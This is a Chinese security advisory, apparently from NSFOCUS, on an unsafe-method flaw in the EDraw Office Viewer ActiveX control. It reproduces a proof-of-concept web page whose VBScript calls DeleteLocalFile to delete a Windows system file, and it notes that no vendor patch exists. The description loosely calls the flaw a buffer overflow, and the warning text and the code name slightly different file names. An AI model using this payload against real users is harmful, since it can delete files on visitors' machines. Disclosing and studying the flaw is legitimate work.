安全研究

安全漏洞
EDraw Office Viewer Component ActiveX任意文件删除漏洞

发布日期:2007-05-30
更新日期:2007-05-31

受影响系统:
EDraw Office Viewer Component 4.0.5.20
描述:
BUGTRAQ  ID: 24230

Office Viewer Component是用于显示和交互Microsoft Office文件的ActiveX控件。

Office Viewer Component的ActiveX控件实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞非授权删除用户文件。

EDraw Office Viewer Component(edrawofficeviewer.ocx)ActiveX控件没有安全地使用DeleteLocalFile()方式。如果用户受骗访问了恶意站点的话,就可能导致删除指定的文件。

<*来源:shinnai (shinnai@autistici.org
  
  链接:http://secunia.com/advisories/25418/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/28</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------
<b>EDraw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Unsafe Method Vulnerability</b>
url: http://www.ocxt.com/officeviewer.php

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not be responsible for any damage.

<b><font color="#FF0000">THE EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to this exploits.

This ActiveX is marked as:
RegKey Safe for Script: True
RegKey Safe for Init: True
KillBitSet: False
-----------------------------------------------------------------------------------------------

<object classid='clsid:053AFEBA-D968-435F-B557-19FF76372B1B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.DeleteLocalFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's deleted.", 64,"2007/05/21 - EDraw Office Viewer Component")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/28 - EDraw Office Viewer Component")
   End If
End Sub
</script>
</span></span>
</code></pre>

建议:
厂商补丁:

EDraw
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.ocxt.com/

浏览次数:3674
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障